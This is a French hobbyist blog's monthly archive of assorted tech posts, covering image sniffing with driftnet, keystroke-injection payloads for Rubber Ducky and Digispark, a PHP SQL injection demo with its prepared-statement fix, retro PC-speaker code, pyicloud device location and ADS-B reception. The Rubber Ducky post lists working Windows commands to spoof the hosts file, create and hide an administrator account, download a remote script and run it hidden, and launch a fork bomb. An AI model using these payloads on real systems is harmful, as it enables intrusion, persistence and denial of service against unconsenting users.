Mois : décembre 2022

Scanner d’image

⚠ AVERTISSEMENT : Toutes les informations fournies dans cette publication le sont à des fins éducatives uniquement. Le site n'est en aucun cas responsable de toute utilisation abusive de ces informations. Vous êtes seul responsable de vos actes devant la loi.

Vous avez accès à un serveur Proxy en ssh ?

Que diriez-vous de voir toutes les images qui passent par ce serveur ?

C’est très simple. Cela se fait via le package driftnet.

sudo apt-get install driftnet
sudo driftnet -i eth0 -w

Maintenant, à partir de votre navigateur, accèdez à l’adresse http://ip_du_serveur:9090

Toutes les images qui passeront en clair via l’interface réseau du serveur s’afficheront dans votre navigateur.

Comique. Non ? (Mais peut-être pas très GDPR – bien que… les images n’étant pas associées à un utilisateur, ça peut passer)

Si vous êtes joueur, vous pouvez, via une attaque de l’homme du milieu ou une mise en monitoring de votre port réseau analyser tout ce qui passe dans le réseau. Mais ceci est une autre histoire, qui sera contée une autre fois.

Dans les Rubber Ducky

⚠ AVERTISSEMENT : Toutes les informations fournies dans cette publication le sont à des fins éducatives uniquement. Le site n'est en aucun cas responsable de toute utilisation abusive de ces informations. Vous êtes seul responsable de vos actes devant la loi.

Encore un article sur le Rubber Ducky ? Pas vraiment.

On trouve sur le net beaucoup de payload pour les injecteurs claviers tel que le Rubber Duccky, DigiSpark et autres.

Les créateurs de ces payloads sont souvent très inventif. Dans cet article, je detaillerais certaines de leurs idées.

Injection clavier – (c) Pexels – Anete Lusina

Quels idées sous Windows

Cela se fait via l’interpreteur de commande (cmd) ou via powershell. Vous pouvez aussi executer une commande powershell en cmd:

powershell <vos instructions powershell>

La plupart des idées ont été reprises de ce GitHub.

Tricher avec le DNS

Pour vous faire passer pour un serveur connu (via cmd)

ECHO 143.166.83.38 www.google.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS

Création d’un utilisateur avec le droit admin

On crée l’utilisateur ‘accName’ avec le mot de passe ‘P@ssW0rD’ et on le met dans le groupe ‘Administrators’. Le groupe doit sans doute être modifié sur un PC dont la langue n’est pas l’anglais (via powershell)

$pass = ConvertTo-SecureString "P@ssW0rD" -AsPlainText -Force; New-LocalUser "accName" -Password $pass; Add-LocalGroupMember -Group "Administrators" -Member "accName" 

Masquage d’un utilisateur

On masque l’utilisateur ‘accName’ (via powershell). Cela montre aussi comment manipuler la base de registre en powershell (toujours intéressant)

New-Item -Path "'HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon'" -Name "SpecialAccounts"
New-Item -Path "'HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccounts'" -Name "UserList"
New-ItemProperty -Path "'HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList'" -Name "accName" -Value "0" -PropertyType DWORD

Téléchargement d’un fichier

On télécharge un fichier (un autre powershell par exemple) sur notre disque. Soyez attentif où vous sauvez. Tous les répertoires ne sont pas forcément accessible en écriture;

$client = new-object System.Net.WebClient
$client.DownloadFile("https://scriptURL" , "%USERPROFILE%script.ps1")

Execution d’un powershell (caché)

Vous voulez executer le script précedemment téléchargé dans une fenêtre cachée ? (via cmd)

powershell.exe -windowstyle hidden -File %USERPROFILE%\script.ps1

Bloquer le PC indéfiniment

Sans commentaire 😉

for /l %%x in (0, 0, 0) do start

Changement du fond d’écran

Ca ne sert à rien, mais c’est toujours amusant. (via cmd)

reg add "HKCUControl PanelDesktop" /v WallPaper /d "%USERPROFILE%doge.jpg" /f
RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True

Faire parler le PC

Ca ne sert à rien, mais c’est toujours amusant (bis). (via powershell)

Add-Type -AssemblyName System.speech;
$speak = New-Object System.Speech.Synthesis.SpeechSynthesizer
$speak.Speak("T'as pris quoi comme résolution pour cette nouvelle année ? 1080p.")

Si cela vous a plu, n’hésitez pas à le dire, il y a encore de quoi en faire quelques articles.

Première utilisation du Digispark

⚠ AVERTISSEMENT : Toutes les informations fournies dans cette publication le sont à des fins éducatives uniquement. Le site n'est en aucun cas responsable de toute utilisation abusive de ces informations. Vous êtes seul responsable de vos actes devant la loi.

J’ai enfin reçu mes Digispark, la petite clef usb avec son processeur ATtiny85.

Nous verrons donc dans ce post comment faire notre premier hello world.

Digispark

Tout d’abord, nous installons l’application de developpement Arduino disponible sur leur site.

Un fois installé, nous ajoutons la bibliothèque nécessaire pour gérer le Digispark.

Dans les préférences, selectionnez le champ URL de gestionnaire de cartes supplémentaires et ajoutez cette ligne:

http://digistump.com/package_digistump_index.json

Dans le gestionnaire de cartes, sélectionnez Digistump AVR Boards et installez le.

En ce qui concerne le driver pour le Digispark, il n’est pas nécessaire pour macOS. Je n’en parlerai donc pas. Pour Linux ou Windows, les explications sont sur le site de digistump.com.

Le plus gros est fait. Nous pouvons maintenant créer notre application.

Dans le menu Outils, nous changeons le type de carte pour prendre le Digispark (Default – 16.5mhz).

Dans le menu Fichier, nous créeons un nouveau fichier et remplaçons le sketch par celui-ci:

#include "DigiKeyboard.h"

void setup() {
   // initialize the digital pin as an output.
   pinMode(0, OUTPUT); //LED sur le Model B
   pinMode(1, OUTPUT); //LED sur le Model A
   DigiKeyboard.delay(5000); // attend 5000ms avant la première execution afin de permettre au système d'initaliser notre clef
  }

void loop() {
   DigiKeyboard.sendKeyStroke(0);  // pour eviter de perdre le premier caractère sur certains système
   DigiKeyboard.println("Hello World!");  // Envoye le Hello World!
   DigiKeyboard.delay(5000); // on attend à nouveau 5000ms pour relancer nos commandes
 }

Avant d’insérer le Digispark, nous appuyons sur le bouton contenant la flèche pour lui téléverser notre script.

Quand la compilation est finie, la console affiche le texte suivant:

Running Digispark Uploader...
Plug in device now... (will timeout in 60 seconds)

Nous pouvons donc insérer le Digispark dans votre port USB. Cela prend quelques secondes et si tout va bien, l’écran affichera le message Hello World! toutes les 5 secondes. (en mode QWERTY. Il y a moyen de le faire passer en AZERTY, mais ceci est une autre histoire, qui sera contée une autre fois.)

Evidemment, il est necessaire de vite lancer un éditeur de texte qui recevra les appuis des touches afin de ne pas perturber le système 😉

Remarques

Sous macOS, lors de la compilation, si vous avez le message suivant:

fork/exec /Users/XXXXX/Library/Arduino15/packages/arduino/tools/avr-gcc/4.8.1-arduino5/bin/avr-g++: bad CPU type in executable
Error compiling for board Digispark (Default - 16.5mhz).

Quittez l’IDE Arduino, et tapez ces lignes dans votre terminal pour corriger les liens vers le compilateur:

cd ~/Library/Arduino15/packages/arduino/tools/avr-gcc
mv 4.8.1-arduino5 orig.4.8.1
ln -s /Applications/Arduino.app/Contents/Java/hardware/tools/avr 4.8.1-arduino5

Du son sur le haut-parleur interne

Encore un peu de préhistoire informatique,

Retour en 94-95… J’ai un 286 sans carte son et voudrait écouter des fichiers wav téléchargé d’Internet (via le réseau de la Polytech).

(c) Pexels – Sander

J’avais donc imaginé un nouveau format qui ressemblait un peu au .avi (format que ne je connaissais évidemment pas encore). Il pouvait encapsuler différents streams dont le stream son. C’est ce stream qui était joué sur le haut-parleur interne en 1bit, 8000hz.

Tout était bien documenté:

The Multimedia RedBugs File Format

The RedB File Format
The Redbugs file use this structure:  

Offset          Name         Length (in byte)        Description

 00h            ID           4h                Contains the characters "RedB"
 04h            Rb_Data      Rb_Len            The data
 04h+Rb_Len     Rb_Data (2)  Rb_Len(2)         Another data
 ...            ...          ...               ...

The Rb_Data Format

Offset          Name         Length (in byte)        Description
 00h            Rb_ID        4h                Contains the type of this data
 04h            Rb_Len       4h                Length of this data
 08h            Ddata        Rb_Len-08h        Data of this data :=)

The Ddata format

The .SON form definition

Offset          Name         Length (in byte)        Description
  00h            Freq         2                       Frequency of the sample
  02h            Cps          2                       Clock per second
  03h            Bit          1                       # of bit of the sample

Après examen de ma documentation, on peut remarquer que:

mon nickname contenait encore un S à la fin.
je maitrisais déjà les smiley (mais pas totalement l’anglais) :=)

La seule partie interresante du source est celle qui permet de programmer le haut-parleur interne d’un PC.

Cela se fait via les port 43h, 42h et 61h.

Selection du type d’onde via le port 43h du PIT (Programmable Interval Timer – Intel 8253)

mov al,90h
out 43h,al

Activation du haut parleur (mise à 1 des 2 premiers bits) via le port 61h du PPI (Programmable Peripheral Interface)

in al,61h       ; Read current port mode B (8255)
or al,03
out 61h,al      ; Switch on speaker and timer

Ecriture sur le port 42h du PIT de l’octet de poids faible de la fréquence V, et ensuite, écriture sur le même port de l’octet de poids fort. (V étant égal à 1193180 / fréquence en Hz )

out 42h,al

Désactivation du haut parleur (remise à 0 des 2 premiers bits)

in al,61h
and al,0fch
out 61h,al

J’ai tout mis sur GitHub. L’intérêt est limité en 2022, mais ca fait partie de l’histoire (de la mienne en tout cas).

SQL Injection basique dans un script php

⚠ AVERTISSEMENT : Toutes les informations fournies dans cette publication le sont à des fins éducatives uniquement. Le site n'est en aucun cas responsable de toute utilisation abusive de ces informations. Vous êtes seul responsable de vos actes devant la loi.

Une requète sql mal écrite peut faire beaucoup de dégats. C’est encore plus vrai avec du code php utilisé n’importe comment.

(c) Pexels – Brett Sayles

Imaginez le script php suivant:

$username=$_POST['username'];
$password=$_POST['password'];
$q="select * from `user` where `Userid`='".$username."' and  `Password`='".$password."'";
$res=mysqli_query($l, $q);
if(mysqli_num_rows($res)>0)
...

Rien d’extraordinaire. Le programmeur débutant aura vite faite de faire ce genre de code.

Maintenant, imaginez (encore) que la valeur OR ‘1’ = ‘1’ — soit passée dans le champ username.
La requète exécutée serait donc

SELECT *
FROM  `user`
WHERE `Userid` =  ''
OR  '1' =  '1' -- and `Password` = 'password'

La deuxième partie du query qui vérifie le password est ignorée grâce au -- et avec la condition '1'='1', tout les lignes de la table user sont renvoyés.

Dangereux, non ?

Développeur php, ne créez pas vos requètes de cette manière. D’autres options existent tel que

$sql = "SELECT * from `user` where `Userid` = ? and `Password` = ?";
$stmt = $conn->prepare($sql);
$stmt->bind_param('ss', $_POST['username'], $_POST['password']);
$stmt->execute();

A peine plus long, mais tellement plus sécure.

Pulpe – No Attitude (PC Intro 1997)

Janvier 1997, après la The Party’96 au Danemark, aXs nous propose de fusionner Ketchup Killers, TFL-TDV et Kloon pour former le groupe Pulpe. Nous acceptons même si nous sommes attaché à notre ancien groupe.

Lorsque il s’agir de produire quelque chose pour la Wired’97, c’est donc sous cette banière que nous sortons notre intro 64k. Deuxième démo mais déjà la dernière pour moi jusqu’à ce jour).

No Attitude

aXs étant un des organisateurs de la Wired’97, c’est seul que je réalise le code pour cette intro (même si il nous fournira le plasma qu’il avait utilisé dans une précedente production). Darkangel et Cray fourniront respectivement musique et graphisme.

Je garde la couleur brune, qui rappele un peu Ketchup Killers Commander et essaye d’y mettre un semblant de rébellion: la no attitude.

La demo avait fait grande impression pour sa partie raytracing (seule partie faite en C de l’intro) et nous avait placé à la 3ème place de la Wired’97. Le manque de concurrence et le fait que nous faisions partie de l’équipe organisatrice a dû un peu aider…

Find my iPhone

Vous êtes un utilisateur Apple (ou juste iPhone)…. Que diriez-vous de trouver la position des vos périphériques en ligne de commande.

Find My iPhone

Tout d’abord, on installe le package python de gestion iCloud (nécessaire pour accèder à Find My iPhone)

sudo apt-get install python3-pyicloud

Cela installe l’executable /usr/bin/icloud accessible en ligne de commande.

Vous avez fait le plus dur 😉

Après on se connecte via:

icloud --username=votreemail@apple.com

Cela vous demandera le mot de passe (ainsi que le 2FA si vous l’avez activé)

Et finalement,

icloud --username votreemail@apple.com --list

Cela vous donnera la liste de tous vos périphériques:

Name - mon iPhone XS Max
Display Name  - iPhone XS Max
Location      - {'isOld': False, 'isInaccurate': False, 'altitude': 0.0, 'positionType': 'Unknown', 'secureLocation': None, 'secureLocationTs': 0, 'latitude': -10.485812, 'floorLevel': 0, 'horizontalAccuracy': 5.0, 'locationType': '', 'timeStamp': 1642795063024, 'locationFinished': True, 'verticalAccuracy': 0.0, 'locationMode': None, 'longitude': 105.629562}
Battery Level - 0.9100000262260437
Battery Status- NotCharging
Device Class  - iPhone
Device Model  - iphoneXSMax-1-4-0
------------------------------
...

Est-ce que cela ne pourrait pas être la base d’une horloge des Weasley ?

Afficher une fichier .csv

Vous voulez afficher un fichier .csv ? C’est facile. Voila:

cat fichier.csv

Quoi ? Cela ne vous suffit pas ?

Pour le bien de cet article, nous irons un peu plus loin et utiliserons une application kivabien(tm).

Cette application se nomme ccsvv.

Il faudra recompiler les sources (le package ne fonctionne pas sur la dernière version de ubuntu mate… mais vous pouvez toujours essayer sur votre distribution).

Pour l’exemple, nous afficherons le fichier /etc/passwd. Ce fichier n’est pas séparé par des virgules, mais par des doubles points. Nous utiliserons donc l’option -d pour afficher le fichier.

ccsvv /etc/passwd -d ':'

Ce qui nous donne:

L’application permet aussi de filtrer l’affichage via la touche /. Est-ce que cela n’est pas beau ?

À l’usage, je lui trouve qu’un seul défaut: les lignes horizontales qui séparent les champs sont trop présentes. Mais rien de rédhibitoire.

Capture d’avion

Nous continuons nos aventures SDR. Aujourd’hui, nous ferons un tour dans les airs. Normal pour un récepteur radio, me direz vous. Mais allons plus haut que d’habitude: à 10.000 mètres d’altitude !

L’expérience du jour se fera autour de l’ADS-B (Automatic dependent surveillance-broadcast). Il s’agit du système de surveillance coopératif pour le contrôle du traffic aérien. Chaque avion émet périodiquement (toutes les dix secondes en vol et toutes les secondes en approche) sa position GNSS (GPS, Galileo, …). Cela permet aux contrôles au sol de surveiller le ciel et aux autres avions de connaitre leur entourage. Avec ce système, plus besoin de radar.

L’emission des messages se fait en 1090 MHz, fréquence qui est très bien gérée par le tuner R820T2 présent dans notre NooElec NESDR Nano 2+’ et non cryptée.

Une antenne spécifique est conséillée, mais celle de base suffit déjà à capter quelques émissions.

Pour capturer les messages ADS-B, nous passerons par l’application dump1090.

Il est préférable de compiler la version disponible sur GitHub. Il existe le paquet dump1090-mutability dans le repository Debian mais il n’est plus maintenu depuis 5 ans.

git clone https://github.com/flightaware/dump1090
cd dump1090
make

Pour le lancer:

./dump1090 --interactive

Logiquement, vous devriez vite voir des avions apparaître sur votre écran assez rapidement.

Si vous voulez allez plus loin, vous pouvez partager vos données ADS-B sur FlightRadar24.